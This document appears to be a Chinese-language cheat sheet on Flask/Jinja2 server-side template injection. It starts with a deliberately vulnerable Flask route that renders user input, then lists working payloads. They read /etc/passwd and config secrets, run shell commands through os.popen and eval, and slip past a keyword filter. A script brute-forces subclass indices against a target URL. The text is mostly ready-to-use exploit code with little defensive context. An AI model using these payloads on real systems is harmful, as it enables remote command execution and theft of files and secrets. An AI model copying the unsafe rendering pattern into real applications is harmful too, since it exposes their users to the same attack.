from flask import Flask,render_template_string,requestapp = Flask(__name__)@app.route('/')def user(): '''个人中心''' code = request.args.get('code') return render_template_string(f"<h1>您状态是{code}</h1>") # 用户输入的直接拼接到html代码中被渲染出来造成漏洞if __name__ == '__main__': app.run()
flask使用{{}}包裹可以展示参数,如将表达式1+1插入发现执行并输出说明存在漏洞__class__ # 返回类型所属的对象__mro__ # 返回一个在解析时的解析顺序的元组__base__ # 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的__subclasses__ # 返回一个类中可用的的引用的列表__init__ # 类的初始化方法__globals__ # 对包含函数全局变量的字典的引用
"Hello World".__class__.__mro__ # 获取字符串类的解析顺序元组"Hello World".__class__.__mro__[1].__subclasses__() # 获取可用引用类''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() # 找到file类型进行文件读取利用''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.') # 找到site._Printer类型进行命令执行
print(test.__class__.__mro__[3].__subclasses__()[134].__init__.__globals__['popen']('dir').read()) # 执行了dir命令
# 命令执行模块 eval{{"".__class__.bases__[0].subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}# 命令执行模块 os {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}{{url_for.__globals__.os.popen('ls').read()}}{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen('ls').read()}}# 通过importlib加载os模块 importlib.BuiltinImporter{{().__class__.__mro__[3].__subclasses__()[84]["load_module"]('os')['popen']('dir').read()}}# 查找有eval/os的模块位置import requestsurl = input("输入url: ")for i in range(500): # data根据需求更改参数键和值 data = { # 查找os.py时去除['__builtins__'] "name": "{{().__class__.__base__.__subclasses__()[''+str(i)+''].__init__.__globals__['__builtins__']}}" } try { re = requests.post(url,data=data) if re.status_code == 200: # 根据需要查找eval还是os.py进行更改 if "eval" in re.text: print(i) } except: pass
# 文件读取模块 FileLoader <class '_frozen_importlib_external.FileLoader'>print(test.__class__.__mro__[3].__subclasses__()[100]["get_data"](0,"C:/Windows/win.ini"))
# 读取flask配置文件 payload{{config}}{{url_for.__globals__['current_app'].config}}{{get_flashed_messages__globals__['current_app'].config}}
{# 判断{%%}是否能正常执行 #}{% if 2>1 %}test{% endif %}{# 使用print执行命令 提前构造脚本获取可执行popen函数的子类编号 #}{% print(''.__class__.__base__.__subclasses__()[177].__init__.__globals__['popen']('ls').read()) %}
# 利用""过滤{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}->{{config["__cl""ass__"]["__in""it__"]["__global""s__"]["os"]["po""pen"]("ls")["re""ad"]()}}